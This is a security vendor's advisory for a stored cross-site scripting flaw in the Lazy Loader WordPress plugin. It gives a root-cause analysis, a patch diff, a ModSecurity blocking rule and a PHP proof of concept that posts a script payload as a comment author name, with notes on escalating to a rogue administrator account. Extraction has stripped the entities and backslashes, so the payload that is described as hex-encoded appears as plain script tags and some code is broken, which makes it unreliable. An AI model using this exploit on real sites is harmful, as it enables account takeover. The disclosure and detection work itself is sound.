Published : November 29, 2026

CVE-2026-128097: Lazy Loader <= 8.2.0 Unauthenticated Stored Cross-Site Scripting via Comment Author Name PoC, Patch Analysis & Rule

Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 8.2.0
Patched Version 8.2.1
Disclosed November 25, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-128097: The Lazy Loader plugin for WordPress versions up to 8.2.0 is vulnerable to unauthenticated stored cross-site scripting through the comment author name field. The vulnerability resides in the plugin’s HTML content processing logic, which fails to properly sanitize certain HTML entity sequences, allowing an attacker to inject malicious script that executes when an administrator views the comment. The CVSS score is 7.2 (High).

The root cause is in the plugin’s content filtering mechanism located in src/Plugin.php. The plugin attempts to preserve HTML entities by replacing them with placeholder strings before processing and then restoring them. The code uses preg_replace with the pattern ‘/&#([0-9]*);/’ (line 175 in the vulnerable version), which only matches decimal numeric entities but not hexadecimal or other alphanumeric entities. An attacker can supply an entity such as < (hex encoding of ‘<') or < that does not match the pattern, causing it to be misinterpreted during the DOMDocument parsing step. This allows an attacker to break out of the comment author context and inject arbitrary HTML and JavaScript. The patch changes the pattern to '/&#([0-9a-zA-Z]*);/', which matches both decimal and hexadecimal numeric entities, ensuring all entity formats are preserved and properly handled. Additionally, the vendor autoload and platform check files were updated to throw exceptions instead of triggering errors, but these changes are unrelated to the vulnerability.

An unauthenticated attacker can exploit this by submitting a comment to any post with a crafted author name. The comment form typically submits to /wp-comments-post.php with parameters including comment_post_ID, author, email, url, and comment. The attacker sets the author parameter to a payload such as <script>alert(document.cookie)</script> (hex-encoded angle brackets) that bypasses the flawed entity preservation. The first comment from a new email is held for moderation by default, but once an administrator approves it, every page load of the post triggers the stored script. The script executes in the administrator's browser context, allowing the attacker to perform actions such as creating a new administrator account via /wp-admin/user-new.php with the appropriate nonce, leading to full site compromise.

The patch fixes the issue in src/Plugin.php by updating the preg_replace pattern from '/&#([0-9]*);/' to '/&#([0-9a-zA-Z]*);/'. This change ensures that both decimal and hexadecimal (and other alphanumeric) HTML entities are matched and replaced with placeholders, preventing the DOMDocument parser from interpreting them as HTML tags. With the patch, any entity format, including <, is preserved and later restored, maintaining the comment author name as harmless text rather than executable HTML. The version number is bumped to 8.2.1 to indicate the fix.

The impact of this vulnerability is severe. Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of an administrator's session, leading to full site takeover. The attacker can create a new administrator account, install malicious plugins, modify content, or exfiltrate sensitive data. The vulnerability is particularly dangerous because it requires no authentication and can be triggered by a single comment approval. Atomic Edge research assesses the risk as high for any WordPress site using the Lazy Loader plugin up to version 8.2.0.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/lazy-loading-responsive-images/lazy-load-responsive-images.php
+++ b/lazy-loading-responsive-images/lazy-load-responsive-images.php
@@ -9,7 +9,7 @@
  * Plugin Name: Lazy Loader
  * Plugin URI:  https://florianbrinkmann.com/en/3350/responsive-images-and-lazy-loading-in-wordpress/
  * Description: Lazy loading plugin that supports images, iFrames, video and audio elements and uses lazysizes.js. With manual modification of the markup it is also possible to lazy load background images, scripts, and styles.
- * Version:     8.2.0
+ * Version:     8.2.1
  * Author:      Florian Brinkmann
  * Author URI:  https://florianbrinkmann.com/en/
  * License:     GPL v2 http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
--- a/lazy-loading-responsive-images/src/Plugin.php
+++ b/lazy-loading-responsive-images/src/Plugin.php
@@ -171,10 +171,10 @@
             'disable_html_ns' => true,
         ) );

-		// Preserve html entities and conditional IE comments.
+		// Preserve html entities, hex+decimal codes, and conditional IE comments.
 		// @link https://github.com/ivopetkov/html5-dom-document-php.
 		$content = preg_replace( '/&([a-zA-Z]*);/', 'lazy-loading-responsive-images-entity1-$1-end', $content );
-		$content = preg_replace( '/&#([0-9]*);/', 'lazy-loading-responsive-images-entity2-$1-end', $content );
+		$content = preg_replace( '/&#([0-9a-zA-Z]*);/', 'lazy-loading-responsive-images-entity2-$1-end', $content );
 		$content = preg_replace( '/<!--[([w ]*)]>/', '<!--[$1]>-->', $content );
 		$content = str_replace( '<![endif]-->', '<!--<![endif]-->', $content );

--- a/lazy-loading-responsive-images/vendor/autoload.php
+++ b/lazy-loading-responsive-images/vendor/autoload.php
@@ -14,10 +14,7 @@
             echo $err;
         }
     }
-    trigger_error(
-        $err,
-        E_USER_ERROR
-    );
+    throw new RuntimeException($err);
 }

 require_once __DIR__ . '/composer/autoload_real.php';
--- a/lazy-loading-responsive-images/vendor/composer/InstalledVersions.php
+++ b/lazy-loading-responsive-images/vendor/composer/InstalledVersions.php
@@ -27,12 +27,23 @@
 class InstalledVersions
 {
     /**
+     * @var string|null if set (by reflection by Composer), this should be set to the path where this class is being copied to
+     * @internal
+     */
+    private static $selfDir = null;
+
+    /**
      * @var mixed[]|null
      * @psalm-var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}|array{}|null
      */
     private static $installed;

     /**
+     * @var bool
+     */
+    private static $installedIsLocalDir;
+
+    /**
      * @var bool|null
      */
     private static $canGetVendors;
@@ -309,6 +320,24 @@
     {
         self::$installed = $data;
         self::$installedByVendor = array();
+
+        // when using reload, we disable the duplicate protection to ensure that self::$installed data is
+        // always returned, but we cannot know whether it comes from the installed.php in __DIR__ or not,
+        // so we have to assume it does not, and that may result in duplicate data being returned when listing
+        // all installed packages for example
+        self::$installedIsLocalDir = false;
+    }
+
+    /**
+     * @return string
+     */
+    private static function getSelfDir()
+    {
+        if (self::$selfDir === null) {
+            self::$selfDir = strtr(__DIR__, '\', '/');
+        }
+
+        return self::$selfDir;
     }

     /**
@@ -322,19 +351,27 @@
         }

         $installed = array();
+        $copiedLocalDir = false;

         if (self::$canGetVendors) {
+            $selfDir = self::getSelfDir();
             foreach (ClassLoader::getRegisteredLoaders() as $vendorDir => $loader) {
+                $vendorDir = strtr($vendorDir, '\', '/');
                 if (isset(self::$installedByVendor[$vendorDir])) {
                     $installed[] = self::$installedByVendor[$vendorDir];
                 } elseif (is_file($vendorDir.'/composer/installed.php')) {
                     /** @var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>} $required */
                     $required = require $vendorDir.'/composer/installed.php';
-                    $installed[] = self::$installedByVendor[$vendorDir] = $required;
-                    if (null === self::$installed && strtr($vendorDir.'/composer', '\', '/') === strtr(__DIR__, '\', '/')) {
-                        self::$installed = $installed[count($installed) - 1];
+                    self::$installedByVendor[$vendorDir] = $required;
+                    $installed[] = $required;
+                    if (self::$installed === null && $vendorDir.'/composer' === $selfDir) {
+                        self::$installed = $required;
+                        self::$installedIsLocalDir = true;
                     }
                 }
+                if (self::$installedIsLocalDir && $vendorDir.'/composer' === $selfDir) {
+                    $copiedLocalDir = true;
+                }
             }
         }

@@ -350,7 +387,7 @@
             }
         }

-        if (self::$installed !== array()) {
+        if (self::$installed !== array() && !$copiedLocalDir) {
             $installed[] = self::$installed;
         }

--- a/lazy-loading-responsive-images/vendor/composer/autoload_static.php
+++ b/lazy-loading-responsive-images/vendor/composer/autoload_static.php
@@ -7,22 +7,22 @@
 class ComposerStaticInita21d1f93de4e18f6084492a2be69518d
 {
     public static $prefixLengthsPsr4 = array (
-        'M' =>
+        'M' =>
         array (
             'Masterminds\' => 12,
         ),
-        'F' =>
+        'F' =>
         array (
             'FlorianBrinkmann\LazyLoadResponsiveImages\' => 42,
         ),
     );

     public static $prefixDirsPsr4 = array (
-        'Masterminds\' =>
+        'Masterminds\' =>
         array (
             0 => __DIR__ . '/..' . '/masterminds/html5/src',
         ),
-        'FlorianBrinkmann\LazyLoadResponsiveImages\' =>
+        'FlorianBrinkmann\LazyLoadResponsiveImages\' =>
         array (
             0 => __DIR__ . '/../..' . '/src',
         ),
--- a/lazy-loading-responsive-images/vendor/composer/installed.php
+++ b/lazy-loading-responsive-images/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => 'florianbrinkmann/lazy-loading-responsive-images',
-        'pretty_version' => '8.2.0',
-        'version' => '8.2.0.0',
-        'reference' => 'a48ef29925d97c95258d264e05491a76848f01b3',
+        'pretty_version' => '8.2.1',
+        'version' => '8.2.1.0',
+        'reference' => 'a001fac0a265a004a612c52b281cf23b9be42752',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -11,9 +11,9 @@
     ),
     'versions' => array(
         'florianbrinkmann/lazy-loading-responsive-images' => array(
-            'pretty_version' => '8.2.0',
-            'version' => '8.2.0.0',
-            'reference' => 'a48ef29925d97c95258d264e05491a76848f01b3',
+            'pretty_version' => '8.2.1',
+            'version' => '8.2.1.0',
+            'reference' => 'a001fac0a265a004a612c52b281cf23b9be42752',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
--- a/lazy-loading-responsive-images/vendor/composer/platform_check.php
+++ b/lazy-loading-responsive-images/vendor/composer/platform_check.php
@@ -19,8 +19,7 @@
             echo 'Composer detected issues in your platform:' . PHP_EOL.PHP_EOL . str_replace('You are running '.PHP_VERSION.'.', '', implode(PHP_EOL, $issues)) . PHP_EOL.PHP_EOL;
         }
     }
-    trigger_error(
-        'Composer detected issues in your platform: ' . implode(' ', $issues),
-        E_USER_ERROR
+    throw new RuntimeException(
+        'Composer detected issues in your platform: ' . implode(' ', $issues)
     );
 }

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-128097
SecRule REQUEST_URI "@streq /wp-comments-post.php" 
  "id:2026128097,phase:2,deny,status:403,chain,msg:'CVE-2026-128097 via Lazy Loader comment author XSS',severity:'CRITICAL',tag:'CVE-2026-128097'"
  SecRule ARGS_POST:author "@rx &#(?:x[0-9a-fA-F]+|[0-9]+);" "chain"
    SecRule ARGS_POST:author "@rx (?:<|<|>|>|"|"|'|')" "t:urlDecodeUni,t:htmlEntityDecode"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-128097 - Lazy Loader <= 8.2.0 - Unauthenticated Stored Cross-Site Scripting via Comment Author Name

$target_url = 'http://example.com'; // Change to target WordPress site

// Step 1: Prepare the malicious payload using hexadecimal HTML entities to bypass the filter
$payload = '<script>alert(document.cookie)</script>';

// Step 2: Set up the comment submission data
$post_id = 1; // ID of a published post
$author = $payload;
$email = 'attacker@example.com';
$url = '';
$comment = 'This is a benign comment to trigger moderation.';

// Step 3: Submit the comment via HTTP POST to wp-comments-post.php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-comments-post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'comment_post_ID' => $post_id,
    'author' => $author,
    'email' => $email,
    'url' => $url,
    'comment' => $comment,
    'submit' => 'Post Comment'
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 302) {
    echo "Comment submitted successfully. Awaiting administrator approval.n";
} else {
    echo "Submission may have failed. HTTP code: $http_coden";
}

// Step 4: After administrator approves the comment, the payload will execute when the post is viewed.
// To verify, visit the post URL in a browser.
// An attacker could then use the executed JavaScript to create an admin account.

// Optional: Demonstrate admin account creation (requires the XSS to have executed)
// This part is for illustration only; in a real attack, the JavaScript would perform this.
/*
$admin_username = 'eviladmin';
$admin_email = 'evil@example.com';
$admin_password = 'P@ssw0rd!';
// Use fetch or XMLHttpRequest from the injected script to POST to /wp-admin/user-new.php with nonce.
*/
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.